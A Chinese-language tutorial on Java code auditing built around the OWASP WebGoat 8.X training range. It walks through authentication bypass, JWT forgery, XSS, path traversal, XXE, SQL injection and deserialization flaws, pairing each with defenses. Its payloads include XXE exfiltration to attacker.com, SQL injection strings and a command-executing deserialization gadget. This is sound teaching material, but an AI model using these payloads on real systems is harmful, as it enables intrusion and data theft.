【JAVA代码审计入门】OWASP-WebGoat8.X靶场代码审计大全
字数 2142 2025-09-01 11:26:11

Java代码审计入门:OWASP WebGoat 8.X靶场实战指南

一、环境准备与基础概念

1.1 WebGoat简介

WebGoat是OWASP组织开发的Java靶场程序,专门用于演示web应用中的安全漏洞。本教程使用IDEA启动方式,便于进行代码审计。

1.2 环境配置

  1. 下载WebGoat并解压
  2. 安装OpenJDK-17并配置为项目SDK
  3. 安装Lombok插件
  4. 修改pom.xml中的OWASP版本(如遇报错可忽略)
  5. 更新Maven依赖
  6. 依次运行WebWolf和StartWebGoat

1.3 Spring MVC核心概念

  • Controller(控制器):处理HTTP请求的入口类,使用@RestController@Controller注解
  • Mapping(映射):定义URL路径与处理方法的绑定规则,如@GetMapping@PostMapping
  • Endpoint(端点):实际处理请求的业务逻辑单元(方法+映射)

三者关系示例:

Controller: CrossSiteScriptingLesson5a类
Mapping: @GetMapping("/CrossSiteScripting/attack5a")
Endpoint: @GetMapping(...) + completed(...)方法
端点路径: /CrossSiteScripting/attack5a

二、漏洞审计与复现

2.1 敏感信息泄露

2.1.1 审计要点

  1. 前端JS中硬编码的凭证信息
  2. 混淆处理的JS代码(可使用在线工具解混淆)
  3. 网络请求中的明文传输

2.1.2 防御建议

  • 避免在前端存储敏感信息
  • 使用专业的混淆工具
  • 实施HTTPS加密传输

2.2 身份认证漏洞

2.2.1 认证绕过(2FA绕过)

漏洞代码分析

// AccountVerificationHelper.java
public boolean verifyAccount(String userId, List<String> submittedQuestions, List<String> submittedAnswers) {
    // 仅检查参数数量而非内容
    return submittedQuestions.size() == secQuestions.size() 
           && submittedAnswers.size() == secAnswers.size();
}

利用方法

  1. 删除secQuestion0-1参数
  2. 添加任意两个含secQuestion关键字的参数

2.2.2 JWT令牌漏洞

漏洞条件

  • 使用io.jsonwebtoken库0.10.0以下版本
  • 未正确验证签名算法

利用步骤

  1. 修改JWT的algnone
  2. 设置admin=true
  3. 移除签名部分

2.2.3 密码重置漏洞

漏洞原理

  • 从HTTP头获取Host字段构造重置链接
  • 未对Host头做严格过滤

利用流程

  1. 拦截密码重置请求
  2. 修改Host头为攻击者控制的地址
  3. 获取包含UUID的重置链接

2.3 XSS漏洞

2.3.1 反射型XSS

过滤逻辑

// 检测<script>标签及alert/console.log
private static final Pattern XSS_PATTERN = Pattern.compile(".*<script>(console\\.log|alert).*</script>.*", Pattern.CASE_INSENSITIVE);

绕过要点

  • 确保payload有输出点
  • 使用未被过滤的事件处理器如onerror

2.3.2 DOM型XSS

典型场景

// 路由参数直接拼接
function showTestParam(param) {
    return "Test parameter: " + param;
}

利用方法
构造恶意URL:start.mvc#lesson/CrossSiteScripting.lesson/9?<script>alert(1)</script>

2.4 目录遍历

2.4.1 常见绕过技术

  1. 路径规范化绕过:....//../
  2. 空字节截断:evil.png%00.jpg
  3. ZIP解压路径遍历(使用EvilZip工具)

2.4.2 防御措施

  • 使用getCanonicalPath()规范化路径
  • 白名单校验文件扩展名
  • 在内存中处理上传文件

2.5 XXE漏洞

2.5.1 基本利用

<!-- 读取本地文件 -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<comment>&xxe;</comment>

2.5.2 盲注XXE

<!-- 外带数据 -->
<!ENTITY % file SYSTEM "file:///secret.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

2.5.3 防御方案

  • 禁用DTD解析
  • 使用XMLConstants.FEATURE_SECURE_PROCESSING
  • 实施输入过滤

2.6 SQL注入

2.6.1 注入类型识别

  1. 数字型user_id=1 AND 1=1--
  2. 字符型name='admin' OR '1'='1'--
  3. 报错注入AND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)

2.6.2 预编译绕过

场景:ORDER BY字段注入

-- 原始语句
SELECT * FROM servers ORDER BY ${column}

-- 注入payload
column=(CASE WHEN (SELECT SUBSTR(ip,1,1) FROM servers WHERE hostname='webgoat-prd')='1' THEN id ELSE hostname END)

2.6.3 防御方案

  • 严格使用参数化查询
  • 实施最小权限原则
  • 输入验证白名单

2.7 反序列化漏洞

2.7.1 漏洞代码分析

public class VulnerableTaskHolder implements Serializable {
    private String taskAction;
    
    private void readObject(ObjectInputStream stream) {
        stream.defaultReadObject();
        if (taskAction.startsWith("sleep") || taskAction.startsWith("ping")) {
            Runtime.getRuntime().exec(taskAction);
        }
    }
}

2.7.2 利用步骤

  1. 构造恶意序列化对象
  2. 设置taskAction为系统命令
  3. Base64编码后提交

2.7.3 防御措施

  • 使用ObjectInputFilter验证类
  • 替换Java原生序列化方案
  • 实施代码签名验证

三、审计方法论

3.1 审计流程

  1. 入口定位:通过端点路径追踪Controller
  2. 数据流分析:从用户输入到敏感操作
  3. 上下文理解:框架特性、业务逻辑
  4. 漏洞验证:构造POC验证假设

3.2 关键检查点

  1. 未过滤的用户输入
  2. 动态SQL拼接
  3. 不安全的反射调用
  4. 硬编码凭证
  5. 权限校验缺失

3.3 工具推荐

  1. 静态分析:FindSecBugs、Semgrep
  2. 动态测试:Burp Suite、Yakit
  3. 辅助工具:EvilZip、JWT Tool

四、进阶技巧

4.1 框架特性利用

  1. Spring表达式注入(SpEL)
  2. Thymeleaf SSTI
  3. Hibernate HQL注入

4.2 漏洞组合利用

  1. XXE → SSRF → 内网渗透
  2. 反序列化 → RCE → 权限提升
  3. SQL注入 → 文件读写 → 持久化

4.3 防御纵深

  1. 输入层:白名单验证、类型转换
  2. 处理层:参数化查询、安全API
  3. 输出层:编码处理、CSP策略

本教程详细覆盖了WebGoat 8.X中的主要漏洞类型,从基础环境搭建到高级漏洞利用,提供了完整的代码审计方法论。建议读者按照章节顺序实践,逐步掌握Java代码审计的核心技能。

Java代码审计入门:OWASP WebGoat 8.X靶场实战指南 一、环境准备与基础概念 1.1 WebGoat简介 WebGoat是OWASP组织开发的Java靶场程序,专门用于演示web应用中的安全漏洞。本教程使用IDEA启动方式,便于进行代码审计。 1.2 环境配置 下载WebGoat并解压 安装OpenJDK-17并配置为项目SDK 安装Lombok插件 修改pom.xml中的OWASP版本(如遇报错可忽略) 更新Maven依赖 依次运行WebWolf和StartWebGoat 1.3 Spring MVC核心概念 Controller(控制器) :处理HTTP请求的入口类,使用 @RestController 或 @Controller 注解 Mapping(映射) :定义URL路径与处理方法的绑定规则,如 @GetMapping 、 @PostMapping Endpoint(端点) :实际处理请求的业务逻辑单元(方法+映射) 三者关系示例: 二、漏洞审计与复现 2.1 敏感信息泄露 2.1.1 审计要点 前端JS中硬编码的凭证信息 混淆处理的JS代码(可使用在线工具解混淆) 网络请求中的明文传输 2.1.2 防御建议 避免在前端存储敏感信息 使用专业的混淆工具 实施HTTPS加密传输 2.2 身份认证漏洞 2.2.1 认证绕过(2FA绕过) 漏洞代码分析 : 利用方法 : 删除 secQuestion0-1 参数 添加任意两个含 secQuestion 关键字的参数 2.2.2 JWT令牌漏洞 漏洞条件 : 使用io.jsonwebtoken库0.10.0以下版本 未正确验证签名算法 利用步骤 : 修改JWT的 alg 为 none 设置 admin=true 移除签名部分 2.2.3 密码重置漏洞 漏洞原理 : 从HTTP头获取Host字段构造重置链接 未对Host头做严格过滤 利用流程 : 拦截密码重置请求 修改Host头为攻击者控制的地址 获取包含UUID的重置链接 2.3 XSS漏洞 2.3.1 反射型XSS 过滤逻辑 : 绕过要点 : 确保payload有输出点 使用未被过滤的事件处理器如 onerror 2.3.2 DOM型XSS 典型场景 : 利用方法 : 构造恶意URL: start.mvc#lesson/CrossSiteScripting.lesson/9?<script>alert(1)</script> 2.4 目录遍历 2.4.1 常见绕过技术 路径规范化绕过: ....// → ../ 空字节截断: evil.png%00.jpg ZIP解压路径遍历(使用EvilZip工具) 2.4.2 防御措施 使用 getCanonicalPath() 规范化路径 白名单校验文件扩展名 在内存中处理上传文件 2.5 XXE漏洞 2.5.1 基本利用 2.5.2 盲注XXE 2.5.3 防御方案 禁用DTD解析 使用 XMLConstants.FEATURE_SECURE_PROCESSING 实施输入过滤 2.6 SQL注入 2.6.1 注入类型识别 数字型 : user_id=1 AND 1=1-- 字符型 : name='admin' OR '1'='1'-- 报错注入 : AND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1) 2.6.2 预编译绕过 场景 :ORDER BY字段注入 2.6.3 防御方案 严格使用参数化查询 实施最小权限原则 输入验证白名单 2.7 反序列化漏洞 2.7.1 漏洞代码分析 2.7.2 利用步骤 构造恶意序列化对象 设置 taskAction 为系统命令 Base64编码后提交 2.7.3 防御措施 使用 ObjectInputFilter 验证类 替换Java原生序列化方案 实施代码签名验证 三、审计方法论 3.1 审计流程 入口定位 :通过端点路径追踪Controller 数据流分析 :从用户输入到敏感操作 上下文理解 :框架特性、业务逻辑 漏洞验证 :构造POC验证假设 3.2 关键检查点 未过滤的用户输入 动态SQL拼接 不安全的反射调用 硬编码凭证 权限校验缺失 3.3 工具推荐 静态分析 :FindSecBugs、Semgrep 动态测试 :Burp Suite、Yakit 辅助工具 :EvilZip、JWT Tool 四、进阶技巧 4.1 框架特性利用 Spring表达式注入(SpEL) Thymeleaf SSTI Hibernate HQL注入 4.2 漏洞组合利用 XXE → SSRF → 内网渗透 反序列化 → RCE → 权限提升 SQL注入 → 文件读写 → 持久化 4.3 防御纵深 输入层 :白名单验证、类型转换 处理层 :参数化查询、安全API 输出层 :编码处理、CSP策略 本教程详细覆盖了WebGoat 8.X中的主要漏洞类型,从基础环境搭建到高级漏洞利用,提供了完整的代码审计方法论。建议读者按照章节顺序实践,逐步掌握Java代码审计的核心技能。